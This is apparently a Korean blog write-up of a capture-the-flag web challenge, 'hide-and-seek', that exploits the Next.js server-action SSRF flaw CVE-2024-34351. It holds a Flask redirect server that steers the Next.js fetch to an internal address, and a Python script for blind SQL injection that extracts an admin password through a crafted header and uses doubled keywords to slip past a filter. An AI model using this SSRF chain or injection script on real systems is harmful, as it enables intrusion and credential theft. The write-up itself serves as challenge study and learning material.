1. hide-and-seek(web)
https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
Digging for SSRF in NextJS apps
At Assetnote, we encounter sites running NextJS extremely often; in this blog post we will detail some common misconfigurations we find in NextJS websites, along with a vulnerability we found in the framework.
www.assetnote.io
await fetch를 통해 요청시 해당버전의 nextjs의 경우
문제의 external/src/app/actions.ts 파일에 use server 와 redirect 존재 CVE-2024-34351 조건 만족을한다.
const host = req.headers['host']
const proto =
staticGenerationStore.incrementalCache?.requestProtocol || 'https'
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
대충 문제가 되는 next js의 부분이다. host를 localhost의 값으로 변조시 ssrf가 일어난다는 내용
또한
try {
const headResponse = await fetch(fetchUrl, {
method: 'HEAD',
headers: forwardedHeaders,
next: {
// @ts-ignore
internal: 1,
},
})
if (
headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER
) {
const response = await fetch(fetchUrl, {
method: 'GET',
headers: forwardedHeaders,
next: {
// @ts-ignore
internal: 1,
},
})
// .. snip ..
return new FlightRenderResult(response.body!)
}
} catch (err) {
// .. snip ..
}
서버체크용으로 head요청을 하게되는데 여기서 Content-Type 헤더가 RSC_CONTENT_TYPE_HEADER 즉 text/x-component일 경우 get요청을 통해 한번더 await fetch를 한다.
이점을 이용해서
from flask import Flask, Response, request, redirect
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
sqli = request.headers.get('SQLI',"")
if request.method == 'HEAD':
resp = Response("")
resp.headers['Content-Type'] = 'text/x-component'
return resp
return redirect(f'http://192.168.200.120:808')
#return redirect(f'http://192.168.200.120:808/login')
#return redirect(f'http://192.168.200.120:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username={sqli}&password=guest')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888, debug=False)
다음과 같이 head요청시엔 text/x-component를 반환해 get요청을 하게만들고 get이 올때 192.168.200.120과같은 내부망을 입력해 접근한다.
그러면 다음과같이 /login의 소스코드가 반환이되고 blind sql injection을 진행해주면된다.
import requests
import string
import time
Host = ""
Origin = ""
charTable = "01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}"
columns = []
def packet(payload):
headers = {
"Host": Host,
"Content-Length": "4",
"Next-Action": "6e6feac6ad1fb92892925b4e3766928a754aec71",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Accept": "text/x-component",
"Content-Type": "text/plain;charset=UTF-8",
"Next-Router-State-Tree": "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
"Origin": Origin,
"Sec-GPC": "1",
"Accept-Language": "ko-KR,ko;q=0.8",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"SQLI": payload
}
return headers
def sqli():
flag = ""
check=0
for i in range(1, 100):
check=0
for c in charTable:
payload = f"hack' || SUBSUBSTRSTR((SELECT passwopasswordorrd FROM users WHERE userusernamename='adadminmin'), {i}, 1)='{c}' -- foo"
headers = packet(payload)
url = f"http://문제ip"
res = requests.post(url, headers=headers, data="{}")
print(res.text)
if "Welcome! aaa, You are not admin." in res.text:
flag += c
print(f"flag: {flag}")
check=1
continue
if check==0 and c=="}":
return 0
if __name__ == "__main__":
print("Blind SQL Injection 테스트 시작...")
try:
sqli()
except KeyboardInterrupt:
print("\n테스트가 사용자에 의해 중단되었습니다.")
except Exception as e:
print(f"오류 발생: {e}")
'웹' 카테고리의 다른 글
nodejs로 파일 업로드 필터링 우회 방법 (0) | 2025.04.09 |
---|---|
dicectf-web-공부 (0) | 2025.04.08 |
codegate 2025-Masquerade (0) | 2025.03.30 |
WACon2022-Kuncɛlan 공부 (4) | 2022.06.29 |
Spring 삽질 (0) | 2022.06.28 |